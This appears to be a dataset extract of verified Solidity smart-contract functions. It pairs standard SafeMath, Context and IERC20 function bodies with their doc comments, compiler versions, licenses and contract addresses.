library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
add
function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; }
/** * @dev Adds two signed integers, reverts on overflow. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 2865, 3042 ] }
18,692
APPCrowdsale
PPTokenBurnNList.sol
0x9765986db807b4abc6cc519a5b2511f357fae1dc
Solidity
SafeMath
library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the ...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
mod
function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; }
/** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
MIT
bzzr://036e0e0744e18727062915a5c3bc9fdb0a6d944153d581f69a21e3bc76ffee1d
{ "func_code_index": [ 3190, 3315 ] }
18,693
AItech
AItech.sol
0x543b78bb7421ce27208c8a43161d3a618d68cbb6
Solidity
Context
contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } }
_msgSender
function _msgSender() internal view returns (address payable) { return msg.sender; }
// solhint-disable-previous-line no-empty-blocks
LineComment
v0.5.16+commit.9c3226ce
MIT
bzzr://d4feaadd573d228689b12642436ca9060f027d473f1e3feeacf129b90e1abdbc
{ "func_code_index": [ 109, 212 ] }
18,694
Arcadia_Token
Arcadia_Token.sol
0x6514fe95a4823c7cbf1bb49529e41f922f6b39ef
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the BEP20 standard as defined in the EIP. */
NatSpecMultiLine
totalSupply
function totalSupply() external view returns (uint256);
/** * @dev Returns the amount of tokens in existence. */
NatSpecMultiLine
v0.8.3+commit.8d00100c
MIT
ipfs://762b5762d03da3123d8b2ec2f8cf384eaddb9b8552de139674770cb0f07ffd07
{ "func_code_index": [ 94, 154 ] }
18,695
Arcadia_Token
Arcadia_Token.sol
0x6514fe95a4823c7cbf1bb49529e41f922f6b39ef
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the BEP20 standard as defined in the EIP. */
NatSpecMultiLine
balanceOf
function balanceOf(address account) external view returns (uint256);
/** * @dev Returns the amount of tokens owned by `account`. */
NatSpecMultiLine
v0.8.3+commit.8d00100c
MIT
ipfs://762b5762d03da3123d8b2ec2f8cf384eaddb9b8552de139674770cb0f07ffd07
{ "func_code_index": [ 237, 310 ] }
18,696
Arcadia_Token
Arcadia_Token.sol
0x6514fe95a4823c7cbf1bb49529e41f922f6b39ef
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the BEP20 standard as defined in the EIP. */
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.8.3+commit.8d00100c
MIT
ipfs://762b5762d03da3123d8b2ec2f8cf384eaddb9b8552de139674770cb0f07ffd07
{ "func_code_index": [ 534, 634 ] }
18,697
Arcadia_Token
Arcadia_Token.sol
0x6514fe95a4823c7cbf1bb49529e41f922f6b39ef
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the BEP20 standard as defined in the EIP. */
NatSpecMultiLine
allowance
function allowance(address owner, address spender) external view returns (uint256);
/** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */
NatSpecMultiLine
v0.8.3+commit.8d00100c
MIT
ipfs://762b5762d03da3123d8b2ec2f8cf384eaddb9b8552de139674770cb0f07ffd07
{ "func_code_index": [ 913, 1028 ] }
18,698
Arcadia_Token
Arcadia_Token.sol
0x6514fe95a4823c7cbf1bb49529e41f922f6b39ef
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the BEP20 standard as defined in the EIP. */
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) external returns (bool);
/** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate ...
NatSpecMultiLine
v0.8.3+commit.8d00100c
MIT
ipfs://762b5762d03da3123d8b2ec2f8cf384eaddb9b8552de139674770cb0f07ffd07
{ "func_code_index": [ 1692, 1771 ] }
18,699